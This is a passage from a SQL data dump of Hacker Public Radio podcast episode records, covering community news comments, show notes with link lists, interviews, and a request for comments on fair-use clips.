inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3097#1\" target=\"_blank\">Comment 1</a>:\nan anonymous listener on 2020-07-02:\n\"free software licensing\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3097#2\" target=\"_blank\">Comment 2</a>:\nAhuka on 2020-07-02:\n\"Good interview\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3106#comments\" target=\"_blank\">hpr3106</a></strong>\n(2020-06-29) \"<em>Linux Inlaws S01E09 Postgres</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3106#1\" target=\"_blank\">Comment 1</a>:\nBob on 2020-07-03:\n\"Levels\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3106#2\" target=\"_blank\">Comment 2</a>:\nBruce Momjian on 2020-07-07:\n\"Amazon\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 28 comments on 12 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3108#comments\" target=\"_blank\">hpr3108</a></strong>\n(2020-07-01) \"<em>Fuguita as a Desktop</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3108#1\" target=\"_blank\">Comment 1</a>:\nLuna Jernberg on 2020-07-01:\n\"Firefox Flatpak\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3108#2\" target=\"_blank\">Comment 2</a>:\nKlaatu on 2020-07-27:\n\"SD Card + encrypted hard drive\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3109#comments\" target=\"_blank\">hpr3109</a></strong>\n(2020-07-02) \"<em>Matchbox Restoration Part 4</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3109#1\" target=\"_blank\">Comment 1</a>:\narcher72 on 2020-07-04:\n\"Very cool topic\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3111#comments\" target=\"_blank\">hpr3111</a></strong>\n(2020-07-06) \"<em>HPR Community News for June 2020</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3111#1\" target=\"_blank\">Comment 1</a>:\ncrvs on 2020-07-07:\n\"On math @ HPR\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3115#comments\" target=\"_blank\">hpr3115</a></strong>\n(2020-07-10) \"<em>Pest Control</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3115#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2020-07-12:\n\"surprise\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3116#comments\" target=\"_blank\">hpr3116</a></strong>\n(2020-07-13) \"<em>Unscripted ramblings on a walk:  Crisis at The Manor</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\" target=\"_blank\">Christopher M. Hobbs</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3116#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2020-07-13:\n\"network\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3116#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2020-07-14:\n\"Co-op hosting\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3116#3\" target=\"_blank\">Comment 3</a>:\nbk on 2020-07-15:\n\"Please tell us about how you built the Manor\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3117#comments\" target=\"_blank\">hpr3117</a></strong>\n(2020-07-14) \"<em>The joy of retro computing</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3117#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2020-07-15:\n\"computer learning today\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3118#comments\" target=\"_blank\">hpr3118</a></strong>\n(2020-07-15) \"<em>Linux Inlaws S01E10 The Python Bumper Part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3118#1\" target=\"_blank\">Comment 1</a>:\nGuido on 2020-07-15:\n\"Nice episode on a weird language\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3119#comments\" target=\"_blank\">hpr3119</a></strong>\n(2020-07-16) \"<em>Converting to FFS2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3119#1\" target=\"_blank\">Comment 1</a>:\nan anonymous listener on 2020-07-23:\n\"security is hard\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3119#2\" target=\"_blank\">Comment 2</a>:\nGumnos on 2020-07-29:\n\"OpenBSD on a Mini10\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3121#comments\" target=\"_blank\">hpr3121</a></strong>\n(2020-07-20) \"<em>Opposing Views on Tattoos</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3121#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2020-07-29:\n\"Team Mrs. Honeyhume\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3121#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2020-07-31:\n\"I have an aversion to tattoos\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3122#comments\" target=\"_blank\">hpr3122</a></strong>\n(2020-07-21) \"<em>Devuan review - and commentary</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3122#1\" target=\"_blank\">Comment 1</a>:\nbittin on 2020-07-21:\n\"Politics\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3122#2\" target=\"_blank\">Comment 2</a>:\nDan on 2020-07-21:\n\"Purposely misleading episode\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3122#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2020-07-21:\n\"Updated show notes\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3122#4\" target=\"_blank\">Comment 4</a>:\ndraxil on 2020-07-21:\n\"Very interesting listen\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3122#5\" target=\"_blank\">Comment 5</a>:\nb-yeezi on 2020-07-22:\n\"Interesting but misleading title\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3122#6\" target=\"_blank\">Comment 6</a>:\nKo on 2020-07-23:\n\"Misuse of HPR\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3122#7\" target=\"_blank\">Comment 7</a>:\nKen Fallon on 2020-07-24:\n\"Apologies to Zen_Floater2\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3122#8\" target=\"_blank\">Comment 8</a>:\nx on 2020-07-26:\n\"Good!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3122#9\" target=\"_blank\">Comment 9</a>:\nigottrolledintolisteningtothis on 2020-07-27:\n\"Title should be\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3122#10\" target=\"_blank\">Comment 10</a>:\nbrian-in-ohio on 2020-07-31:\n\"the ruling\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3126#comments\" target=\"_blank\">hpr3126</a></strong>\n(2020-07-27) \"<em>Metrics part II</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3126#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2020-07-29:\n\"Etymology of \'geodesic\'\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3126#2\" target=\"_blank\">Comment 2</a>:\nsesamemucho on 2020-07-31:\n\"Special thanks\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3129#comments\" target=\"_blank\">hpr3129</a></strong>\n(2020-07-30) \"<em>Followup on HPR3122</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3129#1\" target=\"_blank\">Comment 1</a>:\nJan on 2020-07-30:\n\"Zen_Floater2  asked for Comments  on \"Explicit or not\"\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3129#2\" target=\"_blank\">Comment 2</a>:\nbrian-in-ohio on 2020-07-31:\n\"supreme court ruling\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-July/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-July/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributors for sending in updates in the past month:<br />\n<b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\">Windigo</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\">Daniel Persson</a></b></p>\n<p>Over the period tags and/or summaries have been added to 81 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2819,'2019-05-23','Reply to Knightwise - podcasts',493,'I provide a slightly different view on podcasts to that recently given by Knightwise.','<p>Knightwise, in <a href=\"https://hackerpublicradio.org/eps.php?id=2798\">HPR 2798</a>, made the argument that podcasts are better if they are done by \"pirates\", i.e. not by corporations, but by individuals with something to say. While I see some merit in this view, I think the more significant feature of podcasts is that it gets us away from \"broadcasting\" (shows aimed at the lowest common denominator) and towards \"narrowcasting\", an environment where small niche interests can find an audience and thrive since podcasting does not require a lot of resources. But I do appreciate the chance to hear some radio programs that I would not otherwise be able to listen to when they are offered as podcasts.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.npr.org/podcasts/583350334/science-friday\" class=\"uri\">https://www.npr.org/podcasts/583350334/science-friday</a></li>\r\n<li><a href=\"https://www.bbc.co.uk/programmes/b00snr0w\" class=\"uri\">https://www.bbc.co.uk/programmes/b00snr0w</a></li>\r\n<li><a href=\"https://www.palain.com\" class=\"uri\">https://www.palain.com</a></li>\r\n</ul>',198,75,0,'CC-BY-SA','podcasts, narrowcasting, broadcasting',0,0,1),
(2849,'2019-07-04','2018-2019 New Years Eve show part 5',7759,'The HPR community comes together to say happy new year and chat','<h2>Hacker Public Radio New Years Show episode 5</h2>\r\n<p>Welcome to the 7th Annual Hacker Public Radio New Years Show. 2018-2019</p>\r\n<ul>\r\n<li>Sans Holiday Hack Challenge<br />\r\n<a href=\"https://www.holidayhackchallenge.com/2018/\">https://www.holidayhackchallenge.com/2018/</a></li>\r\n<li>Hack The Box<br />\r\n<a href=\"https://www.hackthebox.eu/\">https://www.hackthebox.eu/</a></li>\r\n<li>Over the Wire<br />\r\n<a href=\"https://overthewire.org/wargames/\">https://overthewire.org/wargames/</a></li>\r\n<li>Under the Wire<br />\r\n<a href=\"https://underthewire.tech/\">https://underthewire.tech/</a></li>\r\n<li>Gnome Boxes<br />\r\n<a href=\"https://en.wikipedia.org/wiki/GNOME_Boxes\">https://en.wikipedia.org/wiki/GNOME_Boxes</a></li>\r\n<li>Talking about headsets</li>\r\n<li>Mobile operating systems</li>\r\n<li>Plasma Mobile<br />\r\n<a href=\"https://www.plasma-mobile.org/\">https://www.plasma-mobile.org/</a></li>\r\n<li>Kansas Linux Fest<br />\r\n<a href=\"https://kansaslinuxfest.org/\">https://kansaslinuxfest.org/</a></li>\r\n<li>FreeNas<br />\r\n<a href=\"https://freenas.org/?\">https://freenas.org/</a></li>\r\n<li>Talking Desktop Environments</li>\r\n<li>GPD mini laptops<br />\r\n<a href=\"https://www.gpd.hk/\">https://www.gpd.hk/</a></li>\r\n<li>Gemini PDA<br />\r\n<a href=\"https://www.indiegogo.com/projects/gemini-pda-android-linux-keyboard-mobile-device--2#/\">https://www.indiegogo.com/projects/gemini-pda-android-linux-keyboard-mobile-device--2#/</a></li>\r\n<li>usb-c<br />\r\n<a href=\"https://en.wikipedia.org/wiki/USB-C\">https://en.wikipedia.org/wiki/USB-C</a></li>\r\n<li>Talking uefi<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface\">https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface</a></li>\r\n<li>Boxing day<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Boxing_Day\">https://en.wikipedia.org/wiki/Boxing_Day</a></li>\r\n<li>UK vs US</li>\r\n<li>More Brexit talk<br />\r\n<a href=\"https://www.bbc.com/news/uk-politics-32810887\">https://www.bbc.com/news/uk-politics-32810887</a></li>\r\n<li>year 2038 problem<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Year_2038_problem\">https://en.wikipedia.org/wiki/Year_2038_problem</a></li>\r\n<li>LXQT desktop<br />\r\n<a href=\"https://lxqt.org/\">https://lxqt.org/</a></li>\r\n<li>Enlightenment desktop<br />\r\n<a href=\"https://www.enlightenment.org/\">https://www.enlightenment.org/</a></li>\r\n<li>gnome boxes<br />\r\n<a href=\"https://wiki.gnome.org/Apps/Boxes\">https://wiki.gnome.org/Apps/Boxes</a></li>\r\n</ul>\r\n\r\n\r\n',159,121,1,'CC-BY-SA','HPR new years show, new years, community',0,0,1),
(2850,'2019-07-05','NIST Cybersecurity Framework',1702,'What NIST suggests as a framework to improve security at the  Enterprise level','<p>The National Institute of Standards and Technology of the US Government issued the NIST Cybersecurity Framework, which has recommendations for private companies and mandates for U.S. Government agencies. For people who work in information security in an Enterprise environment, this framework may be of interest, so we will take a walk through it.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/National_Institute_of_Standards_and_Technology\" class=\"uri\">https://en.wikipedia.org/wiki/National_Institute_of_Standards_and_Technology</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/NIST_Cybersecurity_Framework\" class=\"uri\">https://en.wikipedia.org/wiki/NIST_Cybersecurity_Framework</a></li>\r\n<li><a href=\"https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf\" class=\"uri\">https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=997\" class=\"uri\">https://www.zwilnik.com/?page_id=997</a></li>\r\n</ul>',198,74,0,'CC-BY-SA','Enterprise, Security',0,0,1),
(2860,'2019-07-19','Encryption and Quantum Computing',757,'How will quantum computing affect the security of encryption?','<p>The Quantum Computer is supposed to be a game changer that renders encryption useless. But is this true? We look at how quantum computing will affect encryption going forward, and show that we are already working on quantum-resistant encryption.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=530\" class=\"uri\">https://www.zwilnik.com/?page_id=530</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1620\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1620</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Utah_Data_Center\" class=\"uri\">https://en.wikipedia.org/wiki/Utah_Data_Center</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Quantum_computing\" class=\"uri\">https://en.wikipedia.org/wiki/Quantum_computing</a></li>\r\n<li><a href=\"https://csrc.nist.gov/Projects/Post-Quantum-Cryptography\" class=\"uri\">https://csrc.nist.gov/Projects/Post-Quantum-Cryptography</a></li>\r\n<li><a href=\"https://www.nist.gov/programs-projects/information-security-and-privacy-advisory-board-ispab\" class=\"uri\">https://www.nist.gov/programs-projects/information-security-and-privacy-advisory-board-ispab</a></li>\r\n<li><a href=\"https://csrc.nist.gov/Projects/Post-Quantum-Cryptography/Round-2-Submissions\" class=\"uri\">https://csrc.nist.gov/Projects/Post-Quantum-Cryptography/Round-2-Submissions</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=999\" class=\"uri\">https://www.zwilnik.com/?page_id=999</a></li>\r\n</ul>',198,74,0,'CC-BY-SA','Encryption, Quantum Computing',0,0,1),
(2870,'2019-08-02','Hierarchy of Evidence',865,'All studies are not the same. Some are better than others.','<p>The idea of a Hierarchy of Evidence is that there is a ranking of studies of different kinds in terms of how persuasive they are. It is not enough to simply say that “A study shows…” without also looking at what kind of study it is how powerful the results are. We look at the different kinds of studies and rank them from top to bottom.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Hierarchy_of_evidence\" class=\"uri\">https://en.wikipedia.org/wiki/Hierarchy_of_evidence</a></li>\r\n<li><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2707010/\" class=\"uri\">https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2707010/</a></li>\r\n<li><a href=\"https://www.phru.nhs.uk/casp/rcts.htm\" class=\"uri\">https://www.phru.nhs.uk/casp/rcts.htm</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Cohort_study\" class=\"uri\">https://en.wikipedia.org/wiki/Cohort_study</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Framingham_Heart_Study\" class=\"uri\">https://en.wikipedia.org/wiki/Framingham_Heart_Study</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Case-control_studies\" class=\"uri\">https://en.wikipedia.org/wiki/Case-control_studies</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Cross-sectional_study\" class=\"uri\">https://en.wikipedia.org/wiki/Cross-sectional_study</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Case_reports\" class=\"uri\">https://en.wikipedia.org/wiki/Case_reports</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=402\" class=\"uri\">https://www.palain.com/?page_id=402</a></li>\r\n</ul>',198,100,0,'CC-BY-SA','Health, Medicine, Evidence, Science, Studies',0,0,1),
(2880,'2019-08-16','Evaluating a Study',861,'We\'ve developed the standards to judge, so now let\'s do an example!','<p>We take the ideas we have developed over the previous episodes and use them to evaluate a a study I found online. These are things anyone can do with just a little work on Google, and the payoff is to have a good idea of whether or not you are looking at a quality study</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.medicalnewstoday.com/\" class=\"uri\">https://www.medicalnewstoday.com/</a></li>\r\n<li><a href=\"https://www.medicalnewstoday.com/articles/324558.php\" class=\"uri\">https://www.medicalnewstoday.com/articles/324558.php</a></li>\r\n<li><a href=\"https://mediabiasfactcheck.com/medical-news-today/\" class=\"uri\">https://mediabiasfactcheck.com/medical-news-today/</a></li>\r\n<li><a href=\"https://www.quora.com/How-can-I-find-a-replication-of-a-study\" class=\"uri\">https://www.quora.com/How-can-I-find-a-replication-of-a-study</a></li>\r\n<li><a href=\"https://en.m.wikipedia.org/wiki/Web_of_Science\" class=\"uri\">https://en.m.wikipedia.org/wiki/Web_of_Science</a></li>\r\n<li><a href=\"https://www.nature.com/articles/s41551-019-0356-9#MOESM1\" class=\"uri\">https://www.nature.com/articles/s41551-019-0356-9#MOESM1</a></li>\r\n<li><a href=\"https://www.nature.com/natbiomedeng/\" class=\"uri\">https://www.nature.com/natbiomedeng/</a></li>\r\n<li><a href=\"https://www.nature.com/articles/s41551-019-0356-9\" class=\"uri\">https://www.nature.com/articles/s41551-019-0356-9</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=404\" class=\"uri\">https://www.palain.com/?page_id=404</a></li>\r\n</ul>',198,100,0,'CC-BY-SA','Health, Medicine, Evidence, Science, Studies',0,0,1),
(2855,'2019-07-12','2018-2019 New Years Eve show part 6',8486,'The HPR community comes together to say happy new year and chat','<h2>Hacker Public Radio New Years Show episode 6</h2>\r\n<p>Welcome to the 7th Annual Hacker Public Radio New Years Show. 2018-2019</p>\r\n<ul>\r\n<li>The Makerz Podcast<br />\r\n<a href=\"https://podnutz.com/category/themakerz/\">https://podnutz.com/category/themakerz/</a></li>\r\n<li>Tronxy X1<br />\r\n<a href=\"https://all3dp.com/1/tronxy-x1-3d-printer-review/\">https://all3dp.com/1/tronxy-x1-3d-printer-review/</a></li>\r\n<li>SBC talk</li>\r\n<li>Apple Talk</li>\r\n<li>Linux on mobile</li>\r\n<li>more 3d printing talk</li>\r\n<li><a href=\"https://www.newmodeus.com/shop/\">https://www.newmodeus.com/shop/</a></li>\r\n<li>new years food traditions</li>\r\n<li>Cats</li>\r\n<li>The Last Centurion<br />\r\n<a href=\"https://www.amazon.com/Last-Centurion-John-Ringo/dp/1439132917\">https://www.amazon.com/Last-Centurion-John-Ringo/dp/1439132917</a></li>\r\n<li><a href=\"https://www.chewy.com/\">https://www.chewy.com/</a></li>\r\n</ul>',159,121,1,'CC-BY-SA','HPR new years show, new years, community',1,0,1),
(2832,'2019-06-11','How I got started in Linux',168,'This is a very brief introduction on what got me into using Linux.','<p>This is just a brief intro into my introduction to Linux.</p>\r\n',378,29,0,'CC-BY-SA','linux, introduction',0,0,1),
(2836,'2019-06-17','Interview with Wendy Hill',1576,'In this episode, Yannick talks with Wendy Hill about her use of opensource software in her job','<p>Wendy Hill is a photographer. And by that, I don’t mean she takes pictures of her kids on Sundays at the baseball game. Although, if she was to do that, it would probably turn out to be great pictures. No, Wendy is a professional photographer, and to run her business, she uses free and opensource software.</p>\r\n<p>Wait… no Photoshop? No Illustrator? How is that possible? Wendy joined me on Mumble earlier this year – that’s 2019 for you, visitors from the future – and we discussed about that.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.wendyhillphoto.com/\" class=\"uri\">https://www.wendyhillphoto.com/</a></li>\r\n<li><a href=\"https://launchpad.net/lubuntu\" class=\"uri\">https://launchpad.net/lubuntu</a></li>\r\n</ul>\r\n',370,78,0,'CC-BY-SA','opensource,photography,lubuntu,darktable,Rapid Photo Downloader,displaycal,gimp',0,0,1),
(2831,'2019-06-10','Interview with Robbie Ferguson',2347,'In this episode, Yannick talks with Robbie Ferguson about the Nagios Enterprise Monitoring System','<p>When it comes to monitoring your network, and the machines on it, you have a lot of options. But, let’s face it : none of those are easy to implement, and configuring a monitoring tool, whether it’s an open-source or a proprietary one, is often complex and time consuming.</p>\r\n<p>Well, someone took that matter into their own hands, and made <a href=\"https://nemslinux.com/\">NEMS</a>. What is NEMS, how can it help us, and what infrastructure does it require? Those are a few of the questions I asked <a href=\"https://baldnerd.com/\">Robbie Ferguson</a>, the maintainer of NEMS, who joined me on Easter week-end for a little chat.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://nemslinux.com/\" class=\"uri\">https://nemslinux.com/</a></li>\r\n<li><a href=\"https://twitter.com/NEMSLinux\" class=\"uri\">https://twitter.com/NEMSLinux</a></li>\r\n<li><a href=\"https://baldnerd.com/\" class=\"uri\">https://baldnerd.com/</a></li>\r\n</ul>\r\n',370,78,0,'CC-BY-SA','nagios,network,monitoring,opensource,single board computer,sbc,raspberrypi,odroid',0,0,1),
(2837,'2019-06-18','parallax live desktops in android',1040,'Parallax_Wallpaper, mouse gigglers, system d Youtube background play and more ! ','<h2 id=\"parallax-live-desktops-in-android\">parallax live desktops in android</h2>\r\n<ul>\r\n<li><p><a href=\"https://www.linkedin.com/pulse/caffeine-pfft-espresso-robert-mccurdy/\" class=\"uri\">https://www.linkedin.com/pulse/caffeine-pfft-espresso-robert-mccurdy/</a><br />\r\nlinkedin Cafinee.exe MouseGiggler espresso autohotkey</p></li>\r\n<li><p>Systemd linkedin<br />\r\n<a href=\"https://www.linkedin.com/pulse/initd-dead-long-live-robert-mccurdy/\" class=\"uri\">https://www.linkedin.com/pulse/initd-dead-long-live-robert-mccurdy/</a></p></li>\r\n<li><p>linkedin youtube in background<br />\r\n<a href=\"https://www.linkedin.com/pulse/play-youtube-background-robert-mccurdy/\" class=\"uri\">https://www.linkedin.com/pulse/play-youtube-background-robert-mccurdy/</a><br />\r\nViewers can download</p></li>\r\n<li><p><a href=\"https://f-droid.org/repo/org.schabi.newpipe_71.apk\" class=\"uri\">https://f-droid.org/repo/org.schabi.newpipe_71.apk</a></p></li>\r\n</ul>\r\n',36,0,1,'CC-BY-SA','youtube downloader,systemd,linux,autohotkey',0,0,1),
(2829,'2019-06-06','Discussion around fair use clips on HPR',1391,'A request for comments on not publishing clips with known fair use samples','<h1>Request for comments</h1>\r\n<p>Hi All,</p>\r\n<p>Under safe harbor provisions, we as volunteers are usually insulated from any copyright issues that may arise in the shows. \"We do not vet, edit, moderate or in any way censor any of the shows on the network, we trust you to do that.\"</p>\r\n<p>This we got by accident <a href=\"https://hackerpublicradio.org/stuff_you_need_to_know.php#not_moderated\">because</a> \"This is a long standing tradition arising from the fact that HPR is a community of peers who believe that any host has as much right to submit shows as any other.\"</p>\r\n<p>In the show notes associated with hpr2829 on 2019-06-06, the host included the following text \"For all included materials: If anyone feels they have right to any material in this show please let me know and I will comply.\"</p>\r\n<p>This violates the HPR <a href=\"https://hackerpublicradio.org/stuff_you_need_to_know.php#permission\">upload policy</a>.</p>\r\n<p>\"Never include content, for example music, in your show that you do not have permission to redistribute. Try to avoid using any content in your show that can not be redistributed under a Creative Commons Attribution-ShareAlike 3.0 Unported license. If you are redistributing under another Creative Commons License or by arranged permission please make note of the restrictions when you upload your show. We can then signal that, so that others who redistribute HPR content can filter your show out.\"</p>\r\n<p>As it was clear that they were not in compliance, I contacted the host. The host has been very helpful and has already removed some of the content but commented \"There are still 2 audio clips included. I claim I can use them on the basis off fair use principles.\"</p>\r\n<p>While the host may be correct, if they are not, then it is me and not the host that will be held responsible for posting it. I do not want that responsibility.</p>\r\n<p>Under the current HPR rules I am allowed to reject this submission.</p>\r\n<p>Before I do, I would appreciate as much feedback as possible on this topic so that we can gauge the opinions of the HPR Community as a whole.</p>\r\n<p>Regards,</p>\r\n<p>Ken. </p>\r\n\r\n<p>The discussion <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-May/014446.html\">thread</a> remains open and is open to all by joining the <a href=\"https://hackerpublicradio.org/mailman/listinfo/hpr_hackerpublicradio.org\">Maillist</a>.</p>',109,0,0,'CC-BY-SA','HPR, Policy Change, Legal, DMCA, TWAT, Fair Use, PacketSniffers, Copyright',0,0,1),
